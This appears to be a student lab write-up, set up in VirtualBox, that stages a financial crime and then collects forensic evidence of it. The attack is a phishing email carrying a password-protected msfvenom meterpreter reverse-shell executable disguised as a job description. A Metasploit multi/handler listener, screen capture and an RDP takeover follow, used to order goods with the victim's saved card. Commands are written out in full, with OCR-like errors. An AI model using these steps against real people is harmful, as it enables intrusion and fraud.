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Theme: Financial Crime

Introduction:

The attacker hacks the victims wireless connection and sends a phishing email describing about
the possible job openings available in USA with the job description attached to the email but the
attachment contains the reverse shell payload. After sending the phishing email, the attacker
initiates msfconsole and listens for any active sessions. By mistake, the victim executes the
payload which establishes the meterpreter session. The attacker monitors the user activities using
shell commands, possible remote screen capturing techniques. In the meantime, the attacker
finds out that the victim is ordering products from amazon.com site. The attacker launches the
remote desktop connection with the victim machine and orders his exclusive products using the
victim’s login credentials. How the victim finds the crime and recovers from it, is shown in the
execution steps using the evidences collected with the timestamp.

Setup:

The entire task is executed within the Oracle VirtualBox. The attacker machine is Kali Linux and
the victim machine is Windows 10 Home. Both the machines are setup in the same wireless
connection which is stimulated using Natnetwork option in Oracle VirtualBox

Analysis:

Setoolkit is extensively tested and verified to create the malware payload in pdf format which is
widely used method to define the job description. Reverse shell payload is created in pdf format,
but when it is executed in the victim’s machine, the meterpreter is not able to establish a stable
active session. Finalised within the team to utilise msfvenom to create the payload.

Execution:

Step: 1 - Reverse Shell payload Creation:

Below command is utilised to create the payload in executable format. The collected payload is
password protected and send out with the phishing email from the attacker machine.

# msfvenom -p windows/meterpreter/reverse_tcp |host=192.168.100.6 Iport=4455 -f exe >
jobroles.exe

# rar a -p jobroles.rar jobroles.exe

Evidence: A - Phishing Email

Step: 2 - Enabling the Reverse_tcp Exploit:

Reverse_tcp payload is set along with the other options to enable the exploit so that the hacker
can establish a session with the victim’s machine. Once the victim opens the email and executes
the payload without issues, meterpreter session is established. Attacker uses screen capture
technique to monitor victim’s activities on the Windows client.

msf6 > use exploit/multi/handler

msf6 exploit(multi’handler) > set payload windows/meterpreter/reverse_tcp

msf6 exploit(multi’/handler) > set lhost 192.168.100.6

msf6 exploit(multi’handler) > set Iport 4455


http://amazon.com

msf6 exploit(multi’/handler) > exploit

Meterpreter > screencapture
Evidence: B - Screencapture session Screenshots

Step: 3 - RDP Session

Hacker is able to watch the victim’s activities without interruption using screen capture. On such
occasion, the victim logs into amazon account and makes orders using saved credit card. The
attacker takes the RDP session using xfreerdp client, changes the address to his home address
and orders two iPhone 15 using the saved credit card.

> xfreerdp /v:192.168.100.5 /u:admin

Evidence: C - RDP session Screenshots

Evidence D - Victim Order Confirmation

Step: 4 - Account Closure

Victim receives the order confirmation of two iPhone 15 to his email address. Victim panics and
reaches out to Amazon Customer Service, cancels the order, files a complaint using Victim’s
details and proceeds with Account closure upon advice.

Evidence E - Attacker Order Confirmation

Location of Evidences with Timestamp:

A - Phishing Email - Windows - documents folder - 23/11/2023 11:25PM

B - Screencapture Screenshots - /root - 23/11/2023 11:44.50PM

C - Victim Order Confirmation - documents folder - 23/11/2023 11:45PM

D - RDP Session Verification - Redunctant data - 23/11/2023 11:54:27PM
Event Logs - event id ; 4624

E - Attacker Order Confirmation - documents folder - 23/11/2023 11:57PM

Hidden files and Encryption:
Steganography and other hidden methods are used to hide the evidence in kali and windows.
PGP Encryption is used to encrypt pdf files and located in documents folder with key in Zip folder
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Passphrase: kali

attrib +h +r +s “RDP Wrap Library”
Hard Drive Partition:

Disk Management is utilised to partition the hard disk. Each partition is executed to host Windows
client and Kali Linux images into it separately.

Final Linux and Kali images are loaded into Hard drive.



